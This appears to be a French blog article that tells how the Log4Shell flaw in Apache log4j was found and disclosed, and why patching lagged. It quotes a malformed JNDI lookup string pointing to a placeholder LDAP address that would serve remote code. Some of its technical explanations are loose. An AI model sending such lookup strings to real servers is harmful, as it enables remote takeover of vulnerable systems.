Au départ, cela commence toujours par un mystère. Comment ont-ils fait pour obtenir des privilèges que seul l’administrateur peut accorder ? Le RSSI est confus. Aucun journal ne signale la moindre intrusion. Les derniers patches sont installés. Les sites ne référencent aucune attaque. Il ne peut s’agir que d’une erreur d’un collègue. Pourtant, cela intrigue. Il faut des réponses.
Le stagiaire est donc convoqué pour étudier les logs du serveur et trouver une incohérence. La tâche ingrate consiste donc à regarder des millions de lignes de journaux afin de trouver un appel différent des autres. Le problème de tout serveur avec un accès à l’extérieur est qu’il est constamment attaqué. Retrouver la bonne attaque revient à retrouver une aiguille dans une botte de foin.
En filtrant sur l’heure présumée de l’attaque et en ne conservant que les attaques non connues, le stagiaire retourne à son chef une liste de requêtes qui semblent suspectes. Ce dernier interroge donc les experts pour voir si l’une d’elle pourrait être à l’origine de l’attaque. Les spécialistes écartent les cas connus pour se concentrer sur une requête étrange : {jndi:LDAP:11:22:33:44/log4shell}
En principe, la commande jndi permet de compléter les journaux d’une application en faisant calculer des éléments par une application issue d’un serveur distant. Cela permet d’indiquer dans un journal le nom d’un domaine plutôt que l’adresse IP ou les propriétés d’une ressource à la place de son identifiant (LDAP).
Ici, les attaquants se sont servis de ce mécanisme pour exécuter un programme, log4shell, qui permet de se connecter au serveur. Et cela fonctionne. Ainsi, les petits malins ont pu faire fortune sur leur jeu en ligne sans que cela ne se voit. Dans d’autres mains, cela aurait pu se finir plus mal. Devant l’ampleur du rapport, le RSSI prévient le développeur du composant en cause : la fondation Apache.
Il faut dire que le composant en cause, log4j, est utilisé dans des millions d’applications. Toutes les plus grandes entreprises, tous les gouvernements (même la Corée du Nord) sont concernés. Ce n’est donc que le 9 décembre 2021, qu’Apache communique officiellement sur la plus grande faille de la décennie. Un correctif est proposé dans la foulée pour limiter les risques d’exploitation de la faille.
Pour résumer, une faille sur un composant utilisé dans la majorité des applications Java permet de prendre le contrôle de tout serveur. Il faudra des mois aux différents éditeurs de logiciels informatiques pour mettre à jour ce composant. Et même un développeur débutant peut exploiter la faille. Le niveau maximum de criticité est atteint. Pourtant cela ne semble inquiéter personne.
Vous me direz, les serveurs de sites Internet écrits en Java ne représentent que 2,5 % de tout le Trafic. Certes, mais cela fait déjà une belle marge. Et puis, l’attaque ne s’applique pas qu’aux sites Web. Ci-joint la liste des produits concernés. Même certains antivirus sont concernés et peuvent devenir une porte d’entrée pour les attaquants.
Les grands éditeurs jurent avoir corrigé la faille. Mais ce n’est pas exact. Il faut aussi que la correction soit portée sur les serveurs des clients. Et quand on connaît la réticence des RSSI dans la mise à jour des produits … Ensuite, il se trouve que Apache n’en a pas fini avec cette faille. Les versions de log4j se sont multipliées suivant les plateformes concernées.
Donc indiquer qu’il existe une correction comme si le problème était derrière, c’est très optimiste. Même Apache, à l’origine de ce composant, continue à sortir des correctifs.
Devant l’ampleur de la faille, on peut s’étonner que personne ne s’en soit aperçu avant. Pourtant, elle permet d’accéder librement aux serveurs de l’ensemble des entreprises et des institutions du monde. Et on peut s’étonner de la rapidité avec laquelle l’information a disparu. En tout cas, cela va nous donner du travail.